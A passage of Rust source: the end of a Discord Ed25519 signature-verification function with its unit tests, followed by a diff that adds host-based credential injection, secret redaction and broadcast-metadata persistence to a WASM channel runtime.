if (now_secs - ts).abs() > 5 {
return false;
}
use ed25519_dalek::{Signature, VerifyingKey};
let Ok(sig_bytes) = hex::decode(signature_hex) else {
return false;
};
let Ok(key_bytes) = hex::decode(public_key_hex) else {
return false;
};
let Ok(signature) = Signature::from_slice(&sig_bytes) else {
return false;
};
let Ok(verifying_key) = VerifyingKey::try_from(key_bytes.as_slice()) else {
return false;
};
let mut message = Vec::with_capacity(timestamp.len() + body.len());
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body);
verifying_key.verify_strict(&message, &signature).is_ok()
}
#[cfg(test)]
mod tests {
use super::*;
use ed25519_dalek::{Signer, SigningKey};
/// Helper: generate a test keypair and produce a valid signature for the given timestamp+body.
fn sign_test_message(timestamp: &str, body: &[u8]) -> (String, String, String) {
let signing_key = SigningKey::from_bytes(&[
0x9d, 0x61, 0xb1, 0x9d, 0xef, 0xfd, 0x5a, 0x60, 0xba, 0x84, 0x4a, 0xf4, 0x92, 0xec,
0x2c, 0xc4, 0x44, 0x49, 0xc5, 0x69, 0x7b, 0x32, 0x69, 0x19, 0x70, 0x3b, 0xac, 0x03,
0x1c, 0xae, 0x7f, 0x60,
]);
let verifying_key = signing_key.verifying_key();
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body);
let signature = signing_key.sign(&message);
let public_key_hex = hex::encode(verifying_key.to_bytes());
let signature_hex = hex::encode(signature.to_bytes());
(public_key_hex, signature_hex, timestamp.to_string())
}
// ── Category 2: Ed25519 Signature Verification ──────────────────────
/// Existing tests pass `now_secs` matching their hardcoded timestamp
/// so they continue testing crypto-only behavior.
const TEST_TS: i64 = 1234567890;
#[test]
fn test_valid_signature_succeeds() {
let timestamp = "1234567890";
let body = b"test body content";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
assert!(
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
"Valid signature should verify successfully"
);
}
#[test]
fn test_invalid_signature_fails() {
let timestamp = "1234567890";
let body = b"test body content";
let (pub_key, mut sig, ts) = sign_test_message(timestamp, body);
// Tamper one byte of the signature
let mut sig_bytes = hex::decode(&sig).unwrap();
sig_bytes[0] ^= 0xff;
sig = hex::encode(&sig_bytes);
assert!(
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
"Tampered signature should fail verification"
);
}
#[test]
fn test_tampered_body_fails() {
let timestamp = "1234567890";
let body = b"original body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
let tampered_body = b"tampered body";
assert!(
!verify_discord_signature(&pub_key, &sig, &ts, tampered_body, TEST_TS),
"Signature for different body should fail"
);
}
#[test]
fn test_tampered_timestamp_fails() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
assert!(
!verify_discord_signature(&pub_key, &sig, "9999999999", body, TEST_TS),
"Signature with wrong timestamp should fail"
);
}
#[test]
fn test_invalid_hex_signature_fails() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, _sig, ts) = sign_test_message(timestamp, body);
assert!(
!verify_discord_signature(&pub_key, "not-valid-hex-zzz", &ts, body, TEST_TS),
"Non-hex signature should fail gracefully"
);
}
#[test]
fn test_invalid_hex_public_key_fails() {
let timestamp = "1234567890";
let body = b"test body";
let (_pub_key, sig, ts) = sign_test_message(timestamp, body);
assert!(
!verify_discord_signature("not-valid-hex-zzz", &sig, &ts, body, TEST_TS),
"Non-hex public key should fail gracefully"
);
}
#[test]
fn test_wrong_length_signature_fails() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, _sig, ts) = sign_test_message(timestamp, body);
// Too short (only 32 bytes instead of 64)
let short_sig = hex::encode([0u8; 32]);
assert!(
!verify_discord_signature(&pub_key, &short_sig, &ts, body, TEST_TS),
"Short signature should fail"
);
}
#[test]
fn test_wrong_length_public_key_fails() {
let timestamp = "1234567890";
let body = b"test body";
let (_pub_key, sig, ts) = sign_test_message(timestamp, body);
// Too short (only 16 bytes instead of 32)
let short_key = hex::encode([0u8; 16]);
assert!(
!verify_discord_signature(&short_key, &sig, &ts, body, TEST_TS),
"Short public key should fail"
);
}
#[test]
fn test_empty_body_valid_signature() {
let timestamp = "1234567890";
let body = b"";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
assert!(
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
"Empty body with valid signature should succeed"
);
}
#[test]
fn test_discord_reference_vector() {
// Hardcoded test vector using the RFC 8032 test key
// This ensures the implementation matches the standard Ed25519 algorithm
let signing_key = SigningKey::from_bytes(&[
0xc5, 0xaa, 0x8d, 0xf4, 0x3f, 0x9f, 0x83, 0x7b, 0xed, 0xb7, 0x44, 0x2f, 0x31, 0xdc,
0xb7, 0xb1, 0x66, 0xd3, 0x85, 0x35, 0x07, 0x6f, 0x09, 0x4b, 0x85, 0xce, 0x3a, 0x2e,
0x0b, 0x44, 0x58, 0xf7,
]);
let verifying_key = signing_key.verifying_key();
let public_key_hex = hex::encode(verifying_key.to_bytes());
let timestamp = "1609459200";
let now_secs: i64 = 1609459200;
let body = br#"{"type":1}"#; // Discord PING
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body);
let signature = signing_key.sign(&message);
let signature_hex = hex::encode(signature.to_bytes());
assert!(
verify_discord_signature(&public_key_hex, &signature_hex, timestamp, body, now_secs),
"Reference vector should verify"
);
// Same key, but tampered body should fail
assert!(
!verify_discord_signature(
&public_key_hex,
&signature_hex,
timestamp,
br#"{"type":2}"#,
now_secs
),
"Reference vector with tampered body should fail"
);
}
// ── Category: Timestamp Staleness ─────────────────────────────────
#[test]
fn test_stale_timestamp_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
// now_secs is 100 seconds after the timestamp — too stale
assert!(
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 100),
"Stale timestamp (100s old) should be rejected"
);
}
#[test]
fn test_future_timestamp_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
// now_secs is 100 seconds before the timestamp — future
assert!(
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS - 100),
"Future timestamp (100s ahead) should be rejected"
);
}
#[test]
fn test_fresh_timestamp_accepted() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
// now_secs matches exactly — fresh
assert!(
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
"Fresh timestamp (0s difference) should be accepted"
);
}
#[test]
fn test_non_numeric_timestamp_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
// Pass a non-numeric timestamp string
assert!(
!verify_discord_signature(&pub_key, &sig, "not-a-number", body, 0),
"Non-numeric timestamp should be rejected"
);
}
#[test]
fn test_empty_timestamp_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
// Pass an empty timestamp string
assert!(
!verify_discord_signature(&pub_key, &sig, "", body, 0),
"Empty timestamp should be rejected"
);
}
#[test]
fn test_boundary_5s_accepted() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
// Exactly 5 seconds difference — should be accepted (> 5, not >= 5)
assert!(
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 5),
"Timestamp exactly 5s old should be accepted"
);
}
#[test]
fn test_boundary_6s_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
// 6 seconds difference — should be rejected
assert!(
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 6),
"Timestamp 6s old should be rejected"
);
}
#[test]
fn test_negative_timestamp_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
// Pass a negative timestamp string
assert!(
!verify_discord_signature(&pub_key, &sig, "-1", body, TEST_TS),
"Negative timestamp should be rejected"
);
}
}
+446 -4
View File
@@ -52,8 +52,12 @@ use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse,
use crate::error::ChannelError; use crate::error::ChannelError;
use crate::pairing::PairingStore; use crate::pairing::PairingStore;
use crate::safety::LeakDetector; use crate::safety::LeakDetector;
use crate::secrets::SecretsStore;
use crate::tools::wasm::LogLevel; use crate::tools::wasm::LogLevel;
use crate::tools::wasm::WasmResourceLimiter; use crate::tools::wasm::WasmResourceLimiter;
use crate::tools::wasm::credential_injector::{
InjectedCredentials, host_matches_pattern, inject_credential,
};
// Generate component model bindings from the WIT file // Generate component model bindings from the WIT file
wasmtime::component::bindgen!({ wasmtime::component::bindgen!({
@@ -65,6 +69,23 @@ wasmtime::component::bindgen!({
}, },
}); });
/// Pre-resolved credential for host-based injection.
///
/// Built before each WASM execution by decrypting secrets from the store.
/// Applied per-request by matching the URL host against `host_patterns`.
/// WASM channels never see the raw secret values.
#[derive(Clone)]
struct ResolvedHostCredential {
/// Host patterns this credential applies to (e.g., "api.slack.com").
host_patterns: Vec<String>,
/// Headers to add to matching requests (e.g., "Authorization: Bearer ...").
headers: HashMap<String, String>,
/// Query parameters to add to matching requests.
query_params: HashMap<String, String>,
/// Raw secret value for redaction in error messages.
secret_value: String,
}
/// Store data for WASM channel execution. /// Store data for WASM channel execution.
/// ///
/// Contains the resource limiter, channel-specific host state, and WASI context. /// Contains the resource limiter, channel-specific host state, and WASI context.
@@ -76,6 +97,9 @@ struct ChannelStoreData {
/// Injected credentials for URL substitution (e.g., bot tokens). /// Injected credentials for URL substitution (e.g., bot tokens).
/// Keys are placeholder names like "TELEGRAM_BOT_TOKEN". /// Keys are placeholder names like "TELEGRAM_BOT_TOKEN".
credentials: HashMap<String, String>, credentials: HashMap<String, String>,
/// Pre-resolved credentials for automatic host-based injection.
/// Applied per-request by matching the URL host against host_patterns.
host_credentials: Vec<ResolvedHostCredential>,
/// Pairing store for DM pairing (guest access control). /// Pairing store for DM pairing (guest access control).
pairing_store: Arc<PairingStore>, pairing_store: Arc<PairingStore>,
/// Dedicated tokio runtime for HTTP requests, lazily initialized. /// Dedicated tokio runtime for HTTP requests, lazily initialized.
@@ -89,6 +113,7 @@ impl ChannelStoreData {
channel_name: &str, channel_name: &str,
capabilities: ChannelCapabilities, capabilities: ChannelCapabilities,
credentials: HashMap<String, String>, credentials: HashMap<String, String>,
host_credentials: Vec<ResolvedHostCredential>,
pairing_store: Arc<PairingStore>, pairing_store: Arc<PairingStore>,
) -> Self { ) -> Self {
// Create a minimal WASI context (no filesystem, no env vars for security) // Create a minimal WASI context (no filesystem, no env vars for security)
@@ -100,6 +125,7 @@ impl ChannelStoreData {
wasi, wasi,
table: ResourceTable::new(), table: ResourceTable::new(),
credentials, credentials,
host_credentials,
pairing_store, pairing_store,
http_runtime: None, http_runtime: None,
} }
@@ -159,15 +185,74 @@ impl ChannelStoreData {
/// return values to WASM. reqwest::Error includes the full URL in its /// return values to WASM. reqwest::Error includes the full URL in its
/// Display output, so any error from an injected-URL request will /// Display output, so any error from an injected-URL request will
/// contain the raw credential unless we scrub it. /// contain the raw credential unless we scrub it.
///
/// Scrubs raw, URL-encoded, and Base64-encoded forms of each secret
/// to prevent exfiltration via encoded representations in error strings.
fn redact_credentials(&self, text: &str) -> String { fn redact_credentials(&self, text: &str) -> String {
let mut result = text.to_string(); let mut result = text.to_string();
for (name, value) in &self.credentials { for (name, value) in &self.credentials {
if !value.is_empty() { if !value.is_empty() {
result = result.replace(value, &format!("[REDACTED:{}]", name)); let tag = format!("[REDACTED:{}]", name);
result = result.replace(value, &tag);
// Also redact URL-encoded form (covers secrets in query strings)
let encoded = urlencoding::encode(value);
if encoded != *value {
result = result.replace(encoded.as_ref(), &tag);
}
}
}
for cred in &self.host_credentials {
if !cred.secret_value.is_empty() {
let tag = "[REDACTED:host_credential]";
result = result.replace(&cred.secret_value, tag);
// Also redact URL-encoded form (covers secrets injected as query params)
let encoded = urlencoding::encode(&cred.secret_value);
if encoded.as_ref() != cred.secret_value {
result = result.replace(encoded.as_ref(), tag);
}
} }
} }
result result
} }
/// Inject pre-resolved host credentials into the request.
///
/// Matches the URL host against each resolved credential's host_patterns.
/// Matching credentials have their headers merged and query params appended.
fn inject_host_credentials(
&self,
url_host: &str,
headers: &mut HashMap<String, String>,
url: &mut String,
) {
for cred in &self.host_credentials {
let matches = cred
.host_patterns
.iter()
.any(|pattern| host_matches_pattern(url_host, pattern));
if !matches {
continue;
}
// Merge injected headers (host credentials take precedence)
for (key, value) in &cred.headers {
headers.insert(key.clone(), value.clone());
}
// Append query parameters to URL
if !cred.query_params.is_empty() {
if let Ok(mut parsed_url) = url::Url::parse(url) {
for (name, value) in &cred.query_params {
parsed_url.query_pairs_mut().append_pair(name, value);
}
*url = parsed_url.to_string();
} else {
tracing::warn!(url = %url, "Could not parse URL to inject query parameters; skipping injection");
}
}
}
}
} }
// Implement WasiView to provide WASI context and resource table // Implement WasiView to provide WASI context and resource table
@@ -249,7 +334,7 @@ impl near::agent::channel_host::Host for ChannelStoreData {
let raw_headers: std::collections::HashMap<String, String> = let raw_headers: std::collections::HashMap<String, String> =
serde_json::from_str(&headers_json).unwrap_or_default(); serde_json::from_str(&headers_json).unwrap_or_default();
let headers: std::collections::HashMap<String, String> = raw_headers let mut headers: std::collections::HashMap<String, String> = raw_headers
.into_iter() .into_iter()
.map(|(k, v)| { .map(|(k, v)| {
( (
@@ -268,7 +353,12 @@ impl near::agent::channel_host::Host for ChannelStoreData {
"Parsed and injected request headers" "Parsed and injected request headers"
); );
let url = injected_url; let mut url = injected_url;
// Leak scan runs on WASM-provided values BEFORE host credential injection.
// This prevents false positives where the host-injected Bearer token
// (e.g., xoxb- Slack token) triggers the leak detector — WASM never saw
// the real value, so scanning the pre-injection state is correct.
let leak_detector = LeakDetector::new(); let leak_detector = LeakDetector::new();
let header_vec: Vec<(String, String)> = headers let header_vec: Vec<(String, String)> = headers
.iter() .iter()
@@ -279,6 +369,12 @@ impl near::agent::channel_host::Host for ChannelStoreData {
.scan_http_request(&url, &header_vec, body.as_deref()) .scan_http_request(&url, &header_vec, body.as_deref())
.map_err(|e| format!("Potential secret leak blocked: {}", e))?; .map_err(|e| format!("Potential secret leak blocked: {}", e))?;
// Inject pre-resolved host credentials (Bearer tokens, API keys, etc.)
// after the leak scan so host-injected secrets don't trigger false positives.
if let Some(host) = extract_host_from_url(&url) {
self.inject_host_credentials(&host, &mut headers, &mut url);
}
// Get the max response size from capabilities (default 10MB). // Get the max response size from capabilities (default 10MB).
let max_response_bytes = self let max_response_bytes = self
.host_state .host_state
@@ -553,6 +649,44 @@ pub struct WasmChannel {
/// In-memory workspace store persisting writes across callback invocations. /// In-memory workspace store persisting writes across callback invocations.
/// Ensures WASM channels can maintain state (e.g., polling offsets) between ticks. /// Ensures WASM channels can maintain state (e.g., polling offsets) between ticks.
workspace_store: Arc<ChannelWorkspaceStore>, workspace_store: Arc<ChannelWorkspaceStore>,
/// Last-seen message metadata (contains chat_id for broadcast routing).
/// Populated from incoming messages so `broadcast()` knows where to send.
last_broadcast_metadata: Arc<tokio::sync::RwLock<Option<String>>>,
/// Settings store for persisting broadcast metadata across restarts.
settings_store: Option<Arc<dyn crate::db::SettingsStore>>,
/// Secrets store for host-based credential injection.
/// Used to pre-resolve credentials before each WASM callback.
secrets_store: Option<Arc<dyn SecretsStore + Send + Sync>>,
}
/// Update broadcast metadata in memory and persist to the settings store when
/// it changes. Extracted as a free function so both the `WasmChannel` instance
/// method and the static polling helper share one implementation.
async fn do_update_broadcast_metadata(
channel_name: &str,
metadata: &str,
last_broadcast_metadata: &tokio::sync::RwLock<Option<String>>,
settings_store: Option<&Arc<dyn crate::db::SettingsStore>>,
) {
let mut guard = last_broadcast_metadata.write().await;
let changed = guard.as_deref() != Some(metadata);
*guard = Some(metadata.to_string());
drop(guard);
if changed && let Some(store) = settings_store {
let key = format!("channel_broadcast_metadata_{}", channel_name);
let value = serde_json::Value::String(metadata.to_string());
if let Err(e) = store.set_setting("default", &key, &value).await {
tracing::warn!(
channel = %channel_name,
"Failed to persist broadcast metadata: {}",
e
);
}
}
} }
impl WasmChannel { impl WasmChannel {
@@ -563,6 +697,7 @@ impl WasmChannel {
capabilities: ChannelCapabilities, capabilities: ChannelCapabilities,
config_json: String, config_json: String,
pairing_store: Arc<PairingStore>, pairing_store: Arc<PairingStore>,
settings_store: Option<Arc<dyn crate::db::SettingsStore>>,
) -> Self { ) -> Self {
let name = prepared.name.clone(); let name = prepared.name.clone();
let rate_limiter = ChannelEmitRateLimiter::new(capabilities.emit_rate_limit.clone()); let rate_limiter = ChannelEmitRateLimiter::new(capabilities.emit_rate_limit.clone());
@@ -584,9 +719,22 @@ impl WasmChannel {
typing_task: RwLock::new(None), typing_task: RwLock::new(None),
pairing_store, pairing_store,
workspace_store: Arc::new(ChannelWorkspaceStore::new()), workspace_store: Arc::new(ChannelWorkspaceStore::new()),
last_broadcast_metadata: Arc::new(tokio::sync::RwLock::new(None)),
settings_store,
secrets_store: None,
} }
} }
/// Set the secrets store for host-based credential injection.
///
/// When set, credentials declared in the channel's capabilities are
/// automatically decrypted and injected into HTTP requests based on
/// the target host (e.g., Bearer token for api.slack.com).
pub fn with_secrets_store(mut self, store: Arc<dyn SecretsStore + Send + Sync>) -> Self {
self.secrets_store = Some(store);
self
}
/// Update the channel config before starting. /// Update the channel config before starting.
/// ///
/// Merges the provided values into the existing config JSON. /// Merges the provided values into the existing config JSON.
@@ -631,6 +779,51 @@ impl WasmChannel {
&self.name &self.name
} }
/// Settings key for persisted broadcast metadata.
fn broadcast_metadata_key(&self) -> String {
format!("channel_broadcast_metadata_{}", self.name)
}
/// Update broadcast metadata in memory and persist if changed (best-effort).
///
/// Compares with the current value to avoid redundant DB writes on every
/// incoming message (the chat_id rarely changes).
async fn update_broadcast_metadata(&self, metadata: &str) {
do_update_broadcast_metadata(
&self.name,
metadata,
&self.last_broadcast_metadata,
self.settings_store.as_ref(),
)
.await;
}
/// Load broadcast metadata from settings store on startup.
async fn load_broadcast_metadata(&self) {
if let Some(ref store) = self.settings_store {
match store
.get_setting("default", &self.broadcast_metadata_key())
.await
{
Ok(Some(serde_json::Value::String(meta))) => {
*self.last_broadcast_metadata.write().await = Some(meta);
tracing::debug!(
channel = %self.name,
"Restored broadcast metadata from settings"
);
}
Ok(_) => {}
Err(e) => {
tracing::warn!(
channel = %self.name,
"Failed to load broadcast metadata: {}",
e
);
}
}
}
}
/// Get the channel capabilities. /// Get the channel capabilities.
pub fn capabilities(&self) -> &ChannelCapabilities { pub fn capabilities(&self) -> &ChannelCapabilities {
&self.capabilities &self.capabilities
@@ -685,6 +878,7 @@ impl WasmChannel {
prepared: &PreparedChannelModule, prepared: &PreparedChannelModule,
capabilities: &ChannelCapabilities, capabilities: &ChannelCapabilities,
credentials: HashMap<String, String>, credentials: HashMap<String, String>,
host_credentials: Vec<ResolvedHostCredential>,
pairing_store: Arc<PairingStore>, pairing_store: Arc<PairingStore>,
) -> Result<Store<ChannelStoreData>, WasmChannelError> { ) -> Result<Store<ChannelStoreData>, WasmChannelError> {
let engine = runtime.engine(); let engine = runtime.engine();
@@ -696,6 +890,7 @@ impl WasmChannel {
&prepared.name, &prepared.name,
capabilities.clone(), capabilities.clone(),
credentials, credentials,
host_credentials,
pairing_store, pairing_store,
); );
let mut store = Store::new(engine, store_data); let mut store = Store::new(engine, store_data);
@@ -806,6 +1001,9 @@ impl WasmChannel {
let timeout = self.runtime.config().callback_timeout; let timeout = self.runtime.config().callback_timeout;
let channel_name = self.name.clone(); let channel_name = self.name.clone();
let credentials = self.get_credentials().await; let credentials = self.get_credentials().await;
let host_credentials =
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
.await;
let pairing_store = self.pairing_store.clone(); let pairing_store = self.pairing_store.clone();
let workspace_store = self.workspace_store.clone(); let workspace_store = self.workspace_store.clone();
@@ -817,6 +1015,7 @@ impl WasmChannel {
&prepared, &prepared,
&capabilities, &capabilities,
credentials, credentials,
host_credentials,
pairing_store, pairing_store,
)?; )?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?; let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -942,6 +1141,9 @@ impl WasmChannel {
let capabilities = Self::inject_workspace_reader(&self.capabilities, &self.workspace_store); let capabilities = Self::inject_workspace_reader(&self.capabilities, &self.workspace_store);
let timeout = self.runtime.config().callback_timeout; let timeout = self.runtime.config().callback_timeout;
let credentials = self.get_credentials().await; let credentials = self.get_credentials().await;
let host_credentials =
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
.await;
let pairing_store = self.pairing_store.clone(); let pairing_store = self.pairing_store.clone();
let workspace_store = self.workspace_store.clone(); let workspace_store = self.workspace_store.clone();
@@ -962,6 +1164,7 @@ impl WasmChannel {
&prepared, &prepared,
&capabilities, &capabilities,
credentials, credentials,
host_credentials,
pairing_store, pairing_store,
)?; )?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?; let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -1041,6 +1244,9 @@ impl WasmChannel {
let timeout = self.runtime.config().callback_timeout; let timeout = self.runtime.config().callback_timeout;
let channel_name = self.name.clone(); let channel_name = self.name.clone();
let credentials = self.get_credentials().await; let credentials = self.get_credentials().await;
let host_credentials =
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
.await;
let pairing_store = self.pairing_store.clone(); let pairing_store = self.pairing_store.clone();
let workspace_store = self.workspace_store.clone(); let workspace_store = self.workspace_store.clone();
@@ -1052,6 +1258,7 @@ impl WasmChannel {
&prepared, &prepared,
&capabilities, &capabilities,
credentials, credentials,
host_credentials,
pairing_store, pairing_store,
)?; )?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?; let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -1142,6 +1349,9 @@ impl WasmChannel {
let timeout = self.runtime.config().callback_timeout; let timeout = self.runtime.config().callback_timeout;
let channel_name = self.name.clone(); let channel_name = self.name.clone();
let credentials = self.get_credentials().await; let credentials = self.get_credentials().await;
let host_credentials =
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
.await;
let pairing_store = self.pairing_store.clone(); let pairing_store = self.pairing_store.clone();
// Prepare response data // Prepare response data
@@ -1161,6 +1371,7 @@ impl WasmChannel {
&prepared, &prepared,
&capabilities, &capabilities,
credentials, credentials,
host_credentials,
pairing_store, pairing_store,
)?; )?;
@@ -1255,6 +1466,9 @@ impl WasmChannel {
let timeout = self.runtime.config().callback_timeout; let timeout = self.runtime.config().callback_timeout;
let channel_name = self.name.clone(); let channel_name = self.name.clone();
let credentials = self.get_credentials().await; let credentials = self.get_credentials().await;
let host_credentials =
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
.await;
let pairing_store = self.pairing_store.clone(); let pairing_store = self.pairing_store.clone();
let wit_update = status_to_wit(status, metadata); let wit_update = status_to_wit(status, metadata);
@@ -1266,6 +1480,7 @@ impl WasmChannel {
&prepared, &prepared,
&capabilities, &capabilities,
credentials, credentials,
host_credentials,
pairing_store, pairing_store,
)?; )?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?; let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -1312,6 +1527,7 @@ impl WasmChannel {
prepared: &Arc<PreparedChannelModule>, prepared: &Arc<PreparedChannelModule>,
capabilities: &ChannelCapabilities, capabilities: &ChannelCapabilities,
credentials: &RwLock<HashMap<String, String>>, credentials: &RwLock<HashMap<String, String>>,
host_credentials: Vec<ResolvedHostCredential>,
pairing_store: Arc<PairingStore>, pairing_store: Arc<PairingStore>,
timeout: Duration, timeout: Duration,
wit_update: wit_channel::StatusUpdate, wit_update: wit_channel::StatusUpdate,
@@ -1333,6 +1549,7 @@ impl WasmChannel {
&prepared, &prepared,
&capabilities, &capabilities,
credentials_snapshot, credentials_snapshot,
host_credentials,
pairing_store, pairing_store,
)?; )?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?; let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -1414,6 +1631,13 @@ impl WasmChannel {
let prepared = Arc::clone(&self.prepared); let prepared = Arc::clone(&self.prepared);
let capabilities = self.capabilities.clone(); let capabilities = self.capabilities.clone();
let credentials = self.credentials.clone(); let credentials = self.credentials.clone();
// Pre-resolve host credentials once for the lifetime of the repeater.
// Channels tokens rarely change, so a snapshot per-repeater is correct.
let repeater_host_credentials = resolve_channel_host_credentials(
&self.capabilities,
self.secrets_store.as_deref(),
)
.await;
let pairing_store = self.pairing_store.clone(); let pairing_store = self.pairing_store.clone();
let callback_timeout = self.runtime.config().callback_timeout; let callback_timeout = self.runtime.config().callback_timeout;
let wit_update = status_to_wit(&status, metadata); let wit_update = status_to_wit(&status, metadata);
@@ -1427,6 +1651,7 @@ impl WasmChannel {
interval.tick().await; interval.tick().await;
let wit_update_clone = clone_wit_status_update(&wit_update); let wit_update_clone = clone_wit_status_update(&wit_update);
let hc = repeater_host_credentials.clone();
if let Err(e) = Self::execute_status( if let Err(e) = Self::execute_status(
&channel_name, &channel_name,
@@ -1434,6 +1659,7 @@ impl WasmChannel {
&prepared, &prepared,
&capabilities, &capabilities,
&credentials, &credentials,
hc,
pairing_store.clone(), pairing_store.clone(),
callback_timeout, callback_timeout,
wit_update_clone, wit_update_clone,
@@ -1613,6 +1839,8 @@ impl WasmChannel {
// Parse metadata JSON // Parse metadata JSON
if let Ok(metadata) = serde_json::from_str(&emitted.metadata_json) { if let Ok(metadata) = serde_json::from_str(&emitted.metadata_json) {
msg = msg.with_metadata(metadata); msg = msg.with_metadata(metadata);
// Store for broadcast routing (chat_id etc.)
self.update_broadcast_metadata(&emitted.metadata_json).await;
} }
// Send to stream // Send to stream
@@ -1649,13 +1877,17 @@ impl WasmChannel {
let channel_name = self.name.clone(); let channel_name = self.name.clone();
let runtime = Arc::clone(&self.runtime); let runtime = Arc::clone(&self.runtime);
let prepared = Arc::clone(&self.prepared); let prepared = Arc::clone(&self.prepared);
let capabilities = self.capabilities.clone(); let poll_capabilities = self.capabilities.clone();
let capabilities = Self::inject_workspace_reader(&self.capabilities, &self.workspace_store);
let message_tx = self.message_tx.clone(); let message_tx = self.message_tx.clone();
let rate_limiter = self.rate_limiter.clone(); let rate_limiter = self.rate_limiter.clone();
let credentials = self.credentials.clone(); let credentials = self.credentials.clone();
let pairing_store = self.pairing_store.clone(); let pairing_store = self.pairing_store.clone();
let callback_timeout = self.runtime.config().callback_timeout; let callback_timeout = self.runtime.config().callback_timeout;
let workspace_store = self.workspace_store.clone(); let workspace_store = self.workspace_store.clone();
let last_broadcast_metadata = self.last_broadcast_metadata.clone();
let settings_store = self.settings_store.clone();
let poll_secrets_store = self.secrets_store.clone();
tokio::spawn(async move { tokio::spawn(async move {
let mut interval_timer = tokio::time::interval(interval); let mut interval_timer = tokio::time::interval(interval);
@@ -1669,6 +1901,13 @@ impl WasmChannel {
"Polling tick - calling on_poll" "Polling tick - calling on_poll"
); );
// Pre-resolve host credentials for this tick
let host_credentials = resolve_channel_host_credentials(
&poll_capabilities,
poll_secrets_store.as_deref(),
)
.await;
// Execute on_poll with fresh WASM instance // Execute on_poll with fresh WASM instance
let result = Self::execute_poll( let result = Self::execute_poll(
&channel_name, &channel_name,
@@ -1676,6 +1915,7 @@ impl WasmChannel {
&prepared, &prepared,
&capabilities, &capabilities,
&credentials, &credentials,
host_credentials,
pairing_store.clone(), pairing_store.clone(),
callback_timeout, callback_timeout,
&workspace_store, &workspace_store,
@@ -1690,6 +1930,8 @@ impl WasmChannel {
emitted_messages, emitted_messages,
&message_tx, &message_tx,
&rate_limiter, &rate_limiter,
&last_broadcast_metadata,
settings_store.as_ref(),
).await { ).await {
tracing::warn!( tracing::warn!(
channel = %channel_name, channel = %channel_name,
@@ -1731,6 +1973,7 @@ impl WasmChannel {
prepared: &Arc<PreparedChannelModule>, prepared: &Arc<PreparedChannelModule>,
capabilities: &ChannelCapabilities, capabilities: &ChannelCapabilities,
credentials: &RwLock<HashMap<String, String>>, credentials: &RwLock<HashMap<String, String>>,
host_credentials: Vec<ResolvedHostCredential>,
pairing_store: Arc<PairingStore>, pairing_store: Arc<PairingStore>,
timeout: Duration, timeout: Duration,
workspace_store: &Arc<ChannelWorkspaceStore>, workspace_store: &Arc<ChannelWorkspaceStore>,
@@ -1759,6 +2002,7 @@ impl WasmChannel {
&prepared, &prepared,
&capabilities, &capabilities,
credentials_snapshot, credentials_snapshot,
host_credentials,
pairing_store, pairing_store,
)?; )?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?; let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -1813,6 +2057,8 @@ impl WasmChannel {
messages: Vec<EmittedMessage>, messages: Vec<EmittedMessage>,
message_tx: &RwLock<Option<mpsc::Sender<IncomingMessage>>>, message_tx: &RwLock<Option<mpsc::Sender<IncomingMessage>>>,
rate_limiter: &RwLock<ChannelEmitRateLimiter>, rate_limiter: &RwLock<ChannelEmitRateLimiter>,
last_broadcast_metadata: &tokio::sync::RwLock<Option<String>>,
settings_store: Option<&Arc<dyn crate::db::SettingsStore>>,
) -> Result<(), WasmChannelError> { ) -> Result<(), WasmChannelError> {
tracing::info!( tracing::info!(
channel = %channel_name, channel = %channel_name,
@@ -1858,6 +2104,14 @@ impl WasmChannel {
// Parse metadata JSON // Parse metadata JSON
